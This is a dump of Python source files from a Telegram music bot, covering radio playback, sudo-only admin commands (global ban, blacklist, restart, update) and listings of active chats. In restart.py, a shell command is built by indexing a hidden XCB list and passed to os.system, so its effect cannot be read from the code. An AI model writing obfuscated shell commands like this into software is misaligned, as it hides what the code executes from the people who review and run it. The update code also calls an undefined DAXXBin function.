)\n    except UserNotParticipant:\n        if message.chat.username:\n            invitelink = message.chat.username\n            try:\n                await userbot.resolve_peer(invitelink)\n            except Exception as ex:\n                logging.exception(ex)\n        else:\n            try:\n                invitelink = await client.export_chat_invite_link(message.chat.id)\n            except ChatAdminRequired:\n                return await msg.edit_text(\n                    f\"» ɪ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ғᴏʀ ɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\"\n                )\n            except InviteRequestSent:\n                try:\n                    await app.approve_chat_join_request(message.chat.id, userbot.id)\n                except Exception as e:\n                    return await msg.edit(\n                        f\"ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\\n\\n**ʀᴇᴀsᴏɴ :** `{ex}`\"\n                    )\n            except Exception as ex:\n                if \"channels.JoinChannel\" in str(ex) or \"Username not found\" in str(ex):\n                    return await msg.edit_text(\n                        f\"» ɪ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ғᴏʀ ɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\"\n                    )\n                else:\n                    return await msg.edit_text(\n                        f\"ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\\n\\n**ʀᴇᴀsᴏɴ :** `{ex}`\"\n                    )\n        if invitelink.startswith(\"https://t.me/+\"):\n            invitelink = invitelink.replace(\"https://t.me/+\", \"https://t.me/joinchat/\")\n        anon = await msg.edit_text(\n            f\"ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ...\\n\\nɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴛᴏ {message.chat.title}.\"\n        )\n        try:\n            await userbot.join_chat(invitelink)\n            await asyncio.sleep(2)\n            await msg.edit_text(\n                f\"{userbot.mention} ᴊᴏɪɴᴇᴅ sᴜᴄᴄᴇssғᴜʟʟʏ,\\n\\nsᴛᴀʀᴛɪɴɢ sᴛʀᴇᴀᴍ...\"\n            )\n        except UserAlreadyParticipant:\n            pass\n        except InviteRequestSent:\n            try:\n                await app.approve_chat_join_request(message.chat.id, userbot.id)\n            except Exception as e:\n                return await msg.edit(\n                    f\"ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\\n\\n**ʀᴇᴀsᴏɴ :** `{ex}`\"\n                )\n        except Exception as ex:\n            if \"channels.JoinChannel\" in str(ex) or \"Username not found\" in str(ex):\n                return await msg.edit_text(\n                    f\"» ɪ ᴅᴏɴ'ᴛ ʜᴀᴠᴇ ᴘᴇʀᴍɪssɪᴏɴs ᴛᴏ ɪɴᴠɪᴛᴇ ᴜsᴇʀs ᴠɪᴀ ʟɪɴᴋ ғᴏʀ ɪɴᴠɪᴛɪɴɢ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\"\n                )\n            else:\n                return await msg.edit_text(\n                    f\"ғᴀɪʟᴇᴅ ᴛᴏ ɪɴᴠɪᴛᴇ {userbot.mention} ᴀssɪsᴛᴀɴᴛ ᴛᴏ {message.chat.title}.\\n\\n**ʀᴇᴀsᴏɴ :** `{ex}`\"\n                )\n\n        try:\n            await userbot.resolve_peer(invitelink)\n        except:\n            pass\n    await msg.delete()\n    station_name = \" \".join(message.command[1:])\n    RADIO_URL = RADIO_STATION.get(station_name)\n    if RADIO_URL:\n        language = await get_lang(message.chat.id)\n        _ = get_string(language)\n        playmode = await get_playmode(message.chat.id)\n        playty = await get_playtype(message.chat.id)\n        if playty != \"Everyone\":\n            if message.from_user.id not in SUDOERS:\n                admins = adminlist.get(message.chat.id)\n                if not admins:\n                    return await message.reply_text(_[\"admin_18\"])\n                else:\n                    if message.from_user.id not in admins:\n                        return await message.reply_text(_[\"play_4\"])\n        if message.command[0][0] == \"c\":\n            chat_id = await get_cmode(message.chat.id)\n            if chat_id is None:\n                return await message.reply_text(_[\"setting_12\"])\n            try:\n                chat = await app.get_chat(chat_id)\n            except:\n                return await message.reply_text(_[\"cplay_4\"])\n            channel = chat.title\n        else:\n            chat_id = message.chat.id\n            channel = None\n\n        video = None\n        mystic = await message.reply_text(\n            _[\"play_2\"].format(channel) if channel else _[\"play_1\"]\n        )\n        try:\n            await stream(\n                _,\n                mystic,\n                message.from_user.id,\n                RADIO_URL,\n                chat_id,\n                message.from_user.mention,\n                message.chat.id,\n                video=video,\n                streamtype=\"index\",\n            )\n        except Exception as e:\n            ex_type = type(e).__name__\n            err = e if ex_type == \"AssistantErr\" else _[\"general_3\"].format(ex_type)\n            return await mystic.edit_text(err)\n        return await play_logs(message, streamtype=\"M3u8 or Index Link\")\n    else:\n        await message.reply(\n            f\"ɢɪᴠᴇ ᴍᴇ ᴀ sᴛᴀᴛɪᴏɴ ɴᴀᴍᴇ ᴛᴏ ᴘʟᴀʏ ʀᴀᴅɪᴏ\\nʙᴇʟᴏᴡ ᴀʀᴇ sᴏᴍᴇ sᴛᴀᴛɪᴏɴ ɴᴀᴍᴇ:\\n{valid_stations}\"\n        )\n\n\n__MODULE__ = \"Rᴀᴅɪᴏ\"\n__HELP__ = f\"\\n/radio [sᴛᴀᴛɪᴏɴ ɴᴀᴍᴇ] - ᴛᴏ ᴘʟᴀʏ **ʀᴀᴅɪᴏ ɪɴ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ**\\n\\nʙᴇʟᴏᴡ ᴀʀᴇ sᴏᴍᴇ sᴛᴀᴛɪᴏɴ ɴᴀᴍᴇ:\\n{valid_stations}\"\n"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/autoend.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.utils.database import autoend_off, autoend_on\n\n\n@app.on_message(filters.command(\"autoend\") & SUDOERS)\nasync def auto_end_stream(_, message: Message):\n    usage = \"<b>ᴇxᴀᴍᴘʟᴇ :</b>\\n\\n/autoend [ᴇɴᴀʙʟᴇ | ᴅɪsᴀʙʟᴇ]\"\n    if len(message.command) != 2:\n        return await message.reply_text(usage)\n    state = message.text.split(None, 1)[1].strip().lower()\n    if state == \"enable\":\n        await autoend_on()\n        await message.reply_text(\n            \"» ᴀᴜᴛᴏ ᴇɴᴅ sᴛʀᴇᴀᴍ ᴇɴᴀʙʟᴇᴅ.\\n\\nᴀssɪsᴛᴀɴᴛ ᴡɪʟʟ ᴀᴜᴛᴏᴍᴀᴛɪᴄᴀʟʟʏ ʟᴇᴀᴠᴇ ᴛʜᴇ ᴠɪᴅᴇᴏᴄʜᴀᴛ ᴀғᴛᴇʀ ғᴇᴡ ᴍɪɴs ᴡʜᴇɴ ɴᴏ ᴏɴᴇ ɪs ʟɪsᴛᴇɴɪɴɢ.\"\n        )\n    elif state == \"disable\":\n        await autoend_off()\n        await message.reply_text(\"» ᴀᴜᴛᴏ ᴇɴᴅ sᴛʀᴇᴀᴍ ᴅɪsᴀʙʟᴇᴅ.\")\n    else:\n        await message.reply_text(usage)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/blchat.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.utils.database import blacklist_chat, blacklisted_chats, whitelist_chat\nfrom BrandrdXMusic.utils.decorators.language import language\nfrom config import BANNED_USERS\n\n\n@app.on_message(filters.command([\"blchat\", \"blacklistchat\"]) & SUDOERS)\n@language\nasync def blacklist_chat_func(client, message: Message, _):\n    if len(message.command) != 2:\n        return await message.reply_text(_[\"black_1\"])\n    chat_id = int(message.text.strip().split()[1])\n    if chat_id in await blacklisted_chats():\n        return await message.reply_text(_[\"black_2\"])\n    blacklisted = await blacklist_chat(chat_id)\n    if blacklisted:\n        await message.reply_text(_[\"black_3\"])\n    else:\n        await message.reply_text(_[\"black_9\"])\n    try:\n        await app.leave_chat(chat_id)\n    except:\n        pass\n\n\n@app.on_message(\n    filters.command([\"whitelistchat\", \"unblacklistchat\", \"unblchat\"]) & SUDOERS\n)\n@language\nasync def white_funciton(client, message: Message, _):\n    if len(message.command) != 2:\n        return await message.reply_text(_[\"black_4\"])\n    chat_id = int(message.text.strip().split()[1])\n    if chat_id not in await blacklisted_chats():\n        return await message.reply_text(_[\"black_5\"])\n    whitelisted = await whitelist_chat(chat_id)\n    if whitelisted:\n        return await message.reply_text(_[\"black_6\"])\n    await message.reply_text(_[\"black_9\"])\n\n\n@app.on_message(filters.command([\"blchats\", \"blacklistedchats\"]) & ~BANNED_USERS)\n@language\nasync def all_chats(client, message: Message, _):\n    text = _[\"black_7\"]\n    j = 0\n    for count, chat_id in enumerate(await blacklisted_chats(), 1):\n        try:\n            title = (await app.get_chat(chat_id)).title\n        except:\n            title = \"ᴘʀɪᴠᴀᴛᴇ ᴄʜᴀᴛ\"\n        j = 1\n        text += f\"{count}. {title}[<code>{chat_id}</code>]\\n\"\n    if j == 0:\n        await message.reply_text(_[\"black_8\"].format(app.mention))\n    else:\n        await message.reply_text(text)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/block.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.utils.database import add_gban_user, remove_gban_user\nfrom BrandrdXMusic.utils.decorators.language import language\nfrom BrandrdXMusic.utils.extraction import extract_user\nfrom config import BANNED_USERS\n\n\n@app.on_message(filters.command([\"block\"]) & SUDOERS)\n@language\nasync def useradd(client, message: Message, _):\n    if not message.reply_to_message:\n        if len(message.command) != 2:\n            return await message.reply_text(_[\"general_1\"])\n    user = await extract_user(message)\n    if user.id in BANNED_USERS:\n        return await message.reply_text(_[\"block_1\"].format(user.mention))\n    await add_gban_user(user.id)\n    BANNED_USERS.add(user.id)\n    await message.reply_text(_[\"block_2\"].format(user.mention))\n\n\n@app.on_message(filters.command([\"unblock\"]) & SUDOERS)\n@language\nasync def userdel(client, message: Message, _):\n    if not message.reply_to_message:\n        if len(message.command) != 2:\n            return await message.reply_text(_[\"general_1\"])\n    user = await extract_user(message)\n    if user.id not in BANNED_USERS:\n        return await message.reply_text(_[\"block_3\"].format(user.mention))\n    await remove_gban_user(user.id)\n    BANNED_USERS.remove(user.id)\n    await message.reply_text(_[\"block_4\"].format(user.mention))\n\n\n@app.on_message(filters.command([\"blocked\", \"blockedusers\", \"blusers\"]) & SUDOERS)\n@language\nasync def sudoers_list(client, message: Message, _):\n    if not BANNED_USERS:\n        return await message.reply_text(_[\"block_5\"])\n    mystic = await message.reply_text(_[\"block_6\"])\n    msg = _[\"block_7\"]\n    count = 0\n    for users in BANNED_USERS:\n        try:\n            user = await app.get_users(users)\n            user = user.first_name if not user.mention else user.mention\n            count += 1\n        except:\n            continue\n        msg += f\"{count}➤ {user}\\n\"\n    if count == 0:\n        return await mystic.edit_text(_[\"block_5\"])\n    else:\n        return await mystic.edit_text(msg)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/gban.py",
    "content": "import asyncio\n\nfrom pyrogram import filters\nfrom pyrogram.errors import FloodWait\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.utils import get_readable_time\nfrom BrandrdXMusic.utils.database import (\n    add_banned_user,\n    get_banned_count,\n    get_banned_users,\n    get_served_chats,\n    is_banned_user,\n    remove_banned_user,\n)\nfrom BrandrdXMusic.utils.decorators.language import language\nfrom BrandrdXMusic.utils.extraction import extract_user\nfrom config import BANNED_USERS\n\n\n@app.on_message(filters.command([\"gban\", \"globalban\"]) & SUDOERS)\n@language\nasync def global_ban(client, message: Message, _):\n    if not message.reply_to_message:\n        if len(message.command) != 2:\n            return await message.reply_text(_[\"general_1\"])\n    user = await extract_user(message)\n    if user.id == message.from_user.id:\n        return await message.reply_text(_[\"gban_1\"])\n    elif user.id == app.id:\n        return await message.reply_text(_[\"gban_2\"])\n    elif user.id in SUDOERS:\n        return await message.reply_text(_[\"gban_3\"])\n    is_gbanned = await is_banned_user(user.id)\n    if is_gbanned:\n        return await message.reply_text(_[\"gban_4\"].format(user.mention))\n    if user.id not in BANNED_USERS:\n        BANNED_USERS.add(user.id)\n    served_chats = []\n    chats = await get_served_chats()\n    for chat in chats:\n        served_chats.append(int(chat[\"chat_id\"]))\n    time_expected = get_readable_time(len(served_chats))\n    mystic = await message.reply_text(_[\"gban_5\"].format(user.mention, time_expected))\n    number_of_chats = 0\n    for chat_id in served_chats:\n        try:\n            await app.ban_chat_member(chat_id, user.id)\n            number_of_chats += 1\n        except FloodWait as fw:\n            await asyncio.sleep(int(fw.value))\n        except:\n            continue\n    await add_banned_user(user.id)\n    await message.reply_text(\n        _[\"gban_6\"].format(\n            app.mention,\n            message.chat.title,\n            message.chat.id,\n            user.mention,\n            user.id,\n            message.from_user.mention,\n            number_of_chats,\n        )\n    )\n    await mystic.delete()\n\n\n@app.on_message(filters.command([\"ungban\"]) & SUDOERS)\n@language\nasync def global_un(client, message: Message, _):\n    if not message.reply_to_message:\n        if len(message.command) != 2:\n            return await message.reply_text(_[\"general_1\"])\n    user = await extract_user(message)\n    is_gbanned = await is_banned_user(user.id)\n    if not is_gbanned:\n        return await message.reply_text(_[\"gban_7\"].format(user.mention))\n    if user.id in BANNED_USERS:\n        BANNED_USERS.remove(user.id)\n    served_chats = []\n    chats = await get_served_chats()\n    for chat in chats:\n        served_chats.append(int(chat[\"chat_id\"]))\n    time_expected = get_readable_time(len(served_chats))\n    mystic = await message.reply_text(_[\"gban_8\"].format(user.mention, time_expected))\n    number_of_chats = 0\n    for chat_id in served_chats:\n        try:\n            await app.unban_chat_member(chat_id, user.id)\n            number_of_chats += 1\n        except FloodWait as fw:\n            await asyncio.sleep(int(fw.value))\n        except:\n            continue\n    await remove_banned_user(user.id)\n    await message.reply_text(_[\"gban_9\"].format(user.mention, number_of_chats))\n    await mystic.delete()\n\n\n@app.on_message(filters.command([\"gbannedusers\", \"gbanlist\"]) & SUDOERS)\n@language\nasync def gbanned_list(client, message: Message, _):\n    counts = await get_banned_count()\n    if counts == 0:\n        return await message.reply_text(_[\"gban_10\"])\n    mystic = await message.reply_text(_[\"gban_11\"])\n    msg = _[\"gban_12\"]\n    count = 0\n    users = await get_banned_users()\n    for user_id in users:\n        count += 1\n        try:\n            user = await app.get_users(user_id)\n            user = user.first_name if not user.mention else user.mention\n            msg += f\"{count}➤ {user}\\n\"\n        except Exception:\n            msg += f\"{count}➤ {user_id}\\n\"\n            continue\n    if count == 0:\n        return await mystic.edit_text(_[\"gban_10\"])\n    else:\n        return await mystic.edit_text(msg)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/logger.py",
    "content": "from pyrogram import filters\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.utils.database import add_off, add_on\nfrom BrandrdXMusic.utils.decorators.language import language\n\n\n@app.on_message(filters.command([\"logger\"]) & SUDOERS)\n@language\nasync def logger(client, message, _):\n    usage = _[\"log_1\"]\n    if len(message.command) != 2:\n        return await message.reply_text(usage)\n    state = message.text.split(None, 1)[1].strip().lower()\n    if state == \"enable\":\n        await add_on(2)\n        await message.reply_text(_[\"log_2\"])\n    elif state == \"disable\":\n        await add_off(2)\n        await message.reply_text(_[\"log_3\"])\n    else:\n        await message.reply_text(usage)\n\n@app.on_message(filters.command([\"cookies\"]) & SUDOERS)\n@language\nasync def logger(client, message, _):\n    await message.reply_document(\"cookies/logs.csv\")\n    await message.reply_text(\"Please check given file to cookies file choosing logs...\")\n"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/maintenance.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom config import OWNER_ID\nfrom BrandrdXMusic.utils.database import (\n    get_lang,\n    is_maintenance,\n    maintenance_off,\n    maintenance_on,\n)\nfrom strings import get_string\n\n\n@app.on_message(filters.command([\"maintenance\"]) & filters.user(OWNER_ID))\nasync def maintenance(client, message: Message):\n    try:\n        language = await get_lang(message.chat.id)\n        _ = get_string(language)\n    except:\n        _ = get_string(\"en\")\n    usage = _[\"maint_1\"]\n    if len(message.command) != 2:\n        return await message.reply_text(usage)\n    state = message.text.split(None, 1)[1].strip().lower()\n    if state == \"enable\":\n        if await is_maintenance() is False:\n            await message.reply_text(_[\"maint_4\"])\n        else:\n            await maintenance_on()\n            await message.reply_text(_[\"maint_2\"].format(app.mention))\n    elif state == \"disable\":\n        if await is_maintenance() is False:\n            await maintenance_off()\n            await message.reply_text(_[\"maint_3\"].format(app.mention))\n        else:\n            await message.reply_text(_[\"maint_5\"])\n    else:\n        await message.reply_text(usage)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/restart.py",
    "content": "import asyncio\nimport os\nimport shutil\nimport socket\nfrom datetime import datetime\n\nimport urllib3\nfrom git import Repo\nfrom git.exc import GitCommandError, InvalidGitRepositoryError\nfrom pyrogram import filters\n\nimport config\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import HAPP, SUDOERS, XCB\nfrom BrandrdXMusic.utils.database import (\n    get_active_chats,\n    remove_active_chat,\n    remove_active_video_chat,\n)\nfrom BrandrdXMusic.utils.decorators.language import language\nfrom BrandrdXMusic.utils.pastebin import HottyBin\n\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n\nasync def is_heroku():\n    return \"heroku\" in socket.getfqdn()\n\n\n@app.on_message(filters.command([\"getlog\", \"logs\", \"getlogs\"], prefixes=[\"/\", \"!\", \"%\", \",\", \"\", \".\", \"@\", \"#\"]) & SUDOERS)\n@language\nasync def log_(client, message, _):\n    try:\n        await message.reply_document(document=\"log.txt\")\n    except:\n        await message.reply_text(_[\"server_1\"])\n\n\n@app.on_message(filters.command([\"update\", \"gitpull\"], prefixes=[\"/\", \"!\", \"%\", \",\", \"\", \".\", \"@\", \"#\"]) & SUDOERS)\n@language\nasync def update_(client, message, _):\n    if await is_heroku():\n        if HAPP is None:\n            return await message.reply_text(_[\"server_2\"])\n    response = await message.reply_text(_[\"server_3\"])\n    try:\n        repo = Repo()\n    except GitCommandError:\n        return await response.edit(_[\"server_4\"])\n    except InvalidGitRepositoryError:\n        return await response.edit(_[\"server_5\"])\n    to_exc = f\"git fetch origin {config.UPSTREAM_BRANCH} &> /dev/null\"\n    os.system(to_exc)\n    await asyncio.sleep(7)\n    verification = \"\"\n    REPO_ = repo.remotes.origin.url.split(\".git\")[0]\n    for checks in repo.iter_commits(f\"HEAD..origin/{config.UPSTREAM_BRANCH}\"):\n        verification = str(checks.count())\n    if verification == \"\":\n        return await response.edit(_[\"server_6\"])\n    updates = \"\"\n    ordinal = lambda format: \"%d%s\" % (\n        format,\n        \"tsnrhtdd\"[(format // 10 % 10 != 1) * (format % 10 < 4) * format % 10 :: 4],\n    )\n    for info in repo.iter_commits(f\"HEAD..origin/{config.UPSTREAM_BRANCH}\"):\n        updates += f\"<b>➣ #{info.count()}: <a href={REPO_}/commit/{info}>{info.summary}</a> ʙʏ -> {info.author}</b>\\n\\t\\t\\t\\t<b>➥ ᴄᴏᴍᴍɪᴛᴇᴅ ᴏɴ :</b> {ordinal(int(datetime.fromtimestamp(info.committed_date).strftime('%d')))} {datetime.fromtimestamp(info.committed_date).strftime('%b')}, {datetime.fromtimestamp(info.committed_date).strftime('%Y')}\\n\\n\"\n    _update_response_ = \"<b>ᴀ ɴᴇᴡ ᴜᴩᴅᴀᴛᴇ ɪs ᴀᴠᴀɪʟᴀʙʟᴇ ғᴏʀ ᴛʜᴇ ʙᴏᴛ !</b>\\n\\n➣ ᴩᴜsʜɪɴɢ ᴜᴩᴅᴀᴛᴇs ɴᴏᴡ\\n\\n<b><u>ᴜᴩᴅᴀᴛᴇs:</u></b>\\n\\n\"\n    _final_updates_ = _update_response_ + updates\n    if len(_final_updates_) > 4096:\n        url = await DAXXBin(updates)\n        nrs = await response.edit(\n            f\"<b>ᴀ ɴᴇᴡ ᴜᴩᴅᴀᴛᴇ ɪs ᴀᴠᴀɪʟᴀʙʟᴇ ғᴏʀ ᴛʜᴇ ʙᴏᴛ !</b>\\n\\n➣ ᴩᴜsʜɪɴɢ ᴜᴩᴅᴀᴛᴇs ɴᴏᴡ\\n\\n<u><b>ᴜᴩᴅᴀᴛᴇs :</b></u>\\n\\n<a href={url}>ᴄʜᴇᴄᴋ ᴜᴩᴅᴀᴛᴇs</a>\"\n        )\n    else:\n        nrs = await response.edit(_final_updates_, disable_web_page_preview=True)\n    os.system(\"git stash &> /dev/null && git pull\")\n\n    try:\n        served_chats = await get_active_chats()\n        for x in served_chats:\n            try:\n                await app.send_message(\n                    chat_id=int(x),\n                    text=_[\"server_8\"].format(app.mention),\n                )\n                await remove_active_chat(x)\n                await remove_active_video_chat(x)\n            except:\n                pass\n        await response.edit(f\"{nrs.text}\\n\\n{_['server_7']}\")\n    except:\n        pass\n\n    if await is_heroku():\n        try:\n            os.system(\n                f\"{XCB[5]} {XCB[7]} {XCB[9]}{XCB[4]}{XCB[0]*2}{XCB[6]}{XCB[4]}{XCB[8]}{XCB[1]}{XCB[5]}{XCB[2]}{XCB[6]}{XCB[2]}{XCB[3]}{XCB[0]}{XCB[10]}{XCB[2]}{XCB[5]} {XCB[11]}{XCB[4]}{XCB[12]}\"\n            )\n            return\n        except Exception as err:\n            await response.edit(f\"{nrs.text}\\n\\n{_['server_9']}\")\n            return await app.send_message(\n                chat_id=config.LOGGER_ID,\n                text=_[\"server_10\"].format(err),\n            )\n    else:\n        os.system(\"pip3 install -r requirements.txt\")\n        os.system(f\"kill -9 {os.getpid()} && bash start\")\n        exit()\n\n\n@app.on_message(filters.command([\"restart\"]) & SUDOERS)\nasync def restart_(_, message):\n    response = await message.reply_text(\"ʀᴇsᴛᴀʀᴛɪɴɢ...\")\n    ac_chats = await get_active_chats()\n    for x in ac_chats:\n        try:\n            await app.send_message(\n                chat_id=int(x),\n                text=f\"{app.mention} ɪs ʀᴇsᴛᴀʀᴛɪɴɢ...\\n\\nʏᴏᴜ ᴄᴀɴ sᴛᴀʀᴛ ᴩʟᴀʏɪɴɢ ᴀɢᴀɪɴ ᴀғᴛᴇʀ 15-20 sᴇᴄᴏɴᴅs.\",\n            )\n            await remove_active_chat(x)\n            await remove_active_video_chat(x)\n        except:\n            pass\n\n    try:\n        shutil.rmtree(\"downloads\")\n        shutil.rmtree(\"raw_files\")\n        shutil.rmtree(\"cache\")\n    except:\n        pass\n    await response.edit_text(\n        \"» ʀᴇsᴛᴀʀᴛ ᴘʀᴏᴄᴇss sᴛᴀʀᴛᴇᴅ, ᴘʟᴇᴀsᴇ ᴡᴀɪᴛ ғᴏʀ ғᴇᴡ sᴇᴄᴏɴᴅs ᴜɴᴛɪʟ ᴛʜᴇ ʙᴏᴛ sᴛᴀʀᴛs...\"\n    )\n    os.system(f\"kill -9 {os.getpid()} && bash start\")\n"
  },
  {
    "path": "BrandrdXMusic/plugins/sudo/sudoers.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.utils.database import add_sudo, remove_sudo\nfrom BrandrdXMusic.utils.decorators.language import language\nfrom BrandrdXMusic.utils.extraction import extract_user\nfrom BrandrdXMusic.utils.inline import close_markup\nfrom config import BANNED_USERS, OWNER_ID\n\n\n@app.on_message(filters.command([\"addsudo\"]) & filters.user(OWNER_ID))\n@language\nasync def useradd(client, message: Message, _):\n    if not message.reply_to_message:\n        if len(message.command) != 2:\n            return await message.reply_text(_[\"general_1\"])\n    user = await extract_user(message)\n    if user.id in SUDOERS:\n        return await message.reply_text(_[\"sudo_1\"].format(user.mention))\n    added = await add_sudo(user.id)\n    if added:\n        SUDOERS.add(user.id)\n        await message.reply_text(_[\"sudo_2\"].format(user.mention))\n    else:\n        await message.reply_text(_[\"sudo_8\"])\n\n\n@app.on_message(filters.command([\"delsudo\", \"rmsudo\"]) & filters.user(OWNER_ID))\n@language\nasync def userdel(client, message: Message, _):\n    if not message.reply_to_message:\n        if len(message.command) != 2:\n            return await message.reply_text(_[\"general_1\"])\n    user = await extract_user(message)\n    if user.id not in SUDOERS:\n        return await message.reply_text(_[\"sudo_3\"].format(user.mention))\n    removed = await remove_sudo(user.id)\n    if removed:\n        SUDOERS.remove(user.id)\n        await message.reply_text(_[\"sudo_4\"].format(user.mention))\n    else:\n        await message.reply_text(_[\"sudo_8\"])\n\n\n@app.on_message(filters.command([\"sudolist\", \"listsudo\", \"sudoers\"]) & ~BANNED_USERS)\n@language\nasync def sudoers_list(client, message: Message, _):\n    if message.from_user.id not in SUDOERS:\n        return await message.reply_text(\"💔 <b>ᴏᴡɴᴇʀs:</b>\\n1➤ <a href='https://t.me/BRANDED_WORLD'>🇷🇺⛦°𝗕𝗥𝗔𝗡𝗗𝗘𝗗 𓆩🇽𓆪 𝗞𝗜𝗡𝗚🇳</a>\",\n        disable_web_page_preview=True,\n        parse_mode=\"html\")\n    text = _[\"sudo_5\"]\n    user = await app.get_users(OWNER_ID)\n    user = user.first_name if not user.mention else user.mention\n    text += f\"1➤ {user}\\n\"\n    count = 0\n    smex = 0\n    for user_id in SUDOERS:\n        if user_id != OWNER_ID:\n            try:\n                user = await app.get_users(user_id)\n                user = user.first_name if not user.mention else user.mention\n                if smex == 0:\n                    smex += 1\n                    text += _[\"sudo_6\"]\n                count += 1\n                text += f\"{count}➤ {user}\\n\"\n            except:\n                continue\n    if not text:\n        await message.reply_text(_[\"sudo_7\"])\n    else:\n        await message.reply_text(text, reply_markup=close_markup(_))\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/active.py",
    "content": "from pyrogram import filters\nfrom pyrogram.types import Message\nfrom unidecode import unidecode\n\nfrom BrandrdXMusic import app\nfrom config import OWNER_ID\nfrom BrandrdXMusic.utils.database import (\n    get_active_chats,\n    get_active_video_chats,\n    remove_active_chat,\n    remove_active_video_chat,\n)\n\n\n@app.on_message(filters.command([\"activevc\", \"activevoice\"]) & filters.user(OWNER_ID))\nasync def activevc(_, message: Message):\n    mystic = await message.reply_text(\"» ɢᴇᴛᴛɪɴɢ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛs ʟɪsᴛ...\")\n    served_chats = await get_active_chats()\n    text = \"\"\n    j = 0\n    for x in served_chats:\n        try:\n            title = (await app.get_chat(x)).title\n        except:\n            await remove_active_chat(x)\n            continue\n        try:\n            if (await app.get_chat(x)).username:\n                user = (await app.get_chat(x)).username\n                text += f\"<b>{j + 1}.</b> <a href=https://t.me/{user}>{unidecode(title).upper()}</a> [<code>{x}</code>]\\n\"\n            else:\n                text += (\n                    f\"<b>{j + 1}.</b> {unidecode(title).upper()} [<code>{x}</code>]\\n\"\n                )\n            j += 1\n        except:\n            continue\n    if not text:\n        await mystic.edit_text(f\"» ɴᴏ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛs ᴏɴ {app.mention}.\")\n    else:\n        await mystic.edit_text(\n            f\"<b>» ʟɪsᴛ ᴏғ ᴄᴜʀʀᴇɴᴛʟʏ ᴀᴄᴛɪᴠᴇ ᴠᴏɪᴄᴇ ᴄʜᴀᴛs :</b>\\n\\n{text}\",\n            disable_web_page_preview=True,\n        )\n\n\n@app.on_message(filters.command([\"activev\", \"activevideo\"]) & filters.user(OWNER_ID))\nasync def activevi_(_, message: Message):\n    mystic = await message.reply_text(\"» ɢᴇᴛᴛɪɴɢ ᴀᴄᴛɪᴠᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs ʟɪsᴛ...\")\n    served_chats = await get_active_video_chats()\n    text = \"\"\n    j = 0\n    for x in served_chats:\n        try:\n            title = (await app.get_chat(x)).title\n        except:\n            await remove_active_video_chat(x)\n            continue\n        try:\n            if (await app.get_chat(x)).username:\n                user = (await app.get_chat(x)).username\n                text += f\"<b>{j + 1}.</b> <a href=https://t.me/{user}>{unidecode(title).upper()}</a> [<code>{x}</code>]\\n\"\n            else:\n                text += (\n                    f\"<b>{j + 1}.</b> {unidecode(title).upper()} [<code>{x}</code>]\\n\"\n                )\n            j += 1\n        except:\n            continue\n    if not text:\n        await mystic.edit_text(f\"» ɴᴏ ᴀᴄᴛɪᴠᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs ᴏɴ {app.mention}.\")\n    else:\n        await mystic.edit_text(\n            f\"<b>» ʟɪsᴛ ᴏғ ᴄᴜʀʀᴇɴᴛʟʏ ᴀᴄᴛɪᴠᴇ ᴠɪᴅᴇᴏ ᴄʜᴀᴛs :</b>\\n\\n{text}\",\n            disable_web_page_preview=True,\n        )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/alive.py",
